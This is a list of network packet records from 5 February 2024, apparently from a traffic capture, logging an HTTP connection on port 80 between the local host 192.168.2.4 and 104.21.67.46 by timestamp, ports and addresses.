Feb 5, 2024 10:57:31.311691999 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.311696053 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.311731100 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.311767101 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.312392950 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.312432051 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.312469006 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.312505960 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.312515974 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.312542915 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.312551975 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.313224077 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.313262939 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.313270092 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.313302994 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.313338995 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.313339949 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.313378096 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.313425064 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.314101934 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.314141989 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.314179897 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.314182997 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.314218044 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.314255953 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.314259052 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.314846992 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.314889908 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.314903021 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.314929008 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.314965963 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.314975977 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.315006971 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.315146923 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.315660954 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.315701008 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.315740108 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.315743923 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.315778017 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.315815926 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.315818071 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.316497087 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.316536903 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.316550016 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.316576004 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.316613913 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.316616058 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.316653967 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.316699028 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.317405939 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.317445040 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.317487001 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.317491055 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.317523003 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.317562103 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.317568064 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.318247080 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.318284988 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.318295002 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.318322897 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.318361044 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.318361044 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.318413973 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.318454981 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.318944931 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.319026947 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.319065094 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.319084883 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.319103003 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.319139957 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.319148064 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.319905043 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.319942951 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.319960117 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.319979906 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.320017099 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.320028067 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.320054054 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.320106030 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.320624113 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.320689917 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.320728064 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.320736885 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.320765972 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.320802927 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.320807934 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.321427107 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.321465015 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.321480036 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.321502924 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.321540117 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.321553946 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.321577072 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.321620941 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.322243929 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.322328091 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.322365999 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.322372913 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.322402954 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.322441101 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.322442055 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.323118925 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.323157072 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.323163986 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.323195934 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.323234081 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.323235989 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.323271036 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.323312044 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.323976040 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.324013948 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.324068069 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.324078083 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.324115992 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.324152946 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.324162960 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.324712038 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.324752092 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.324795961 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.324836969 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.324876070 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.324877024 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.324914932 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.324959993 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.325577021 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.325614929 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.325653076 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.325659990 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.325690031 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.325726986 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.325727940 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.326370955 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.326421976 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.326466084 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.326503992 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.326540947 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.326541901 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.326579094 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.326617002 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.327322006 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.327359915 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.327397108 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.327405930 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.327435017 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.327472925 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.327492952 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.328077078 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.328114986 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.328116894 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.328151941 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.328188896 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.328191996 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.328227043 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.328264952 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.328810930 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.328901052 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.328938961 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.328949928 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.328977108 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.329014063 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.329014063 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.329715967 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.329767942 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.329775095 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.329806089 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.329843998 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.329844952 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.329881907 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.329926014 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.330558062 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.330599070 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.330635071 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.330636978 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.330673933 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.330712080 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.330712080 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.331346989 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.331386089 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.331391096 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.331424952 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.331460953 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.331461906 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.331501961 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.331547022 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.332207918 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.332246065 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.332283020 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.332289934 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.332320929 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.332359076 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.332361937 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.332940102 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.332978010 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.332982063 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.333015919 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.333053112 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.333054066 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.333091974 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.333132982 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.333808899 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.333878040 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.333920002 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.333929062 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.333966017 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.334002972 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.334005117 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.334695101 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.334734917 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.334795952 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.334847927 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.334886074 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.334886074 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.334923983 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.334964037 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.335424900 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.335464001 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.335503101 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.335505962 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.335541964 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.335578918 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.335592985 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.336255074 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.336293936 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.336294889 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.336332083 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.336369038 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.336371899 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.336409092 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.336453915 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.337074041 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.337112904 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.337150097 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.337160110 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.337188959 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.337225914 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.337228060 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.337960958 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.338001013 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.338006973 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.338038921 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.338076115 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.338077068 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.338113070 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.338159084 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.338788033 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.338829041 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.338866949 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.338874102 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.338922977 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.338958979 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.338960886 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.339582920 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.339621067 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.339624882 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.339659929 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.339696884 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.339696884 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.339732885 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.339770079 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.339785099 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.340574026 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.340614080 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.340624094 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.340651989 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.340689898 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.340696096 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.340727091 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.340764999 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.340771914 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.341510057 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.341547012 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.341583967 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.341592073 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.341623068 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.342005014 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.342042923 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.342078924 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.342083931 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.342117071 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.342159986 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.342160940 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.342200041 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.342246056 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.342928886 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.342968941 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.343005896 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.343013048 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.343044043 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.343080997 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.343081951 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.343118906 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.343157053 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.343806028 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.343843937 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.343882084 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.343888044 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.343919039 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.343955994 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.343959093 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.343993902 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.344158888 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.344749928 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.344788074 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.344825029 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.344827890 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.344865084 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.344901085 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.344903946 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.344942093 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.344978094 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.345634937 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.345674992 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.345711946 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.345715046 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.345750093 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.345786095 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.345788002 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.345824003 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.345864058 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.346482992 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.346573114 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.346609116 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.346621990 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.346647024 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.346687078 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.346698046 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.346735954 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.346780062 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.347445965 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.347484112 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.347521067 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.347523928 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.347558022 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.347595930 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.347599030 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.347634077 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.347673893 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.348288059 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.348325968 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.348361969 CET	80	49736	104.21.67.46	192.168.2.4
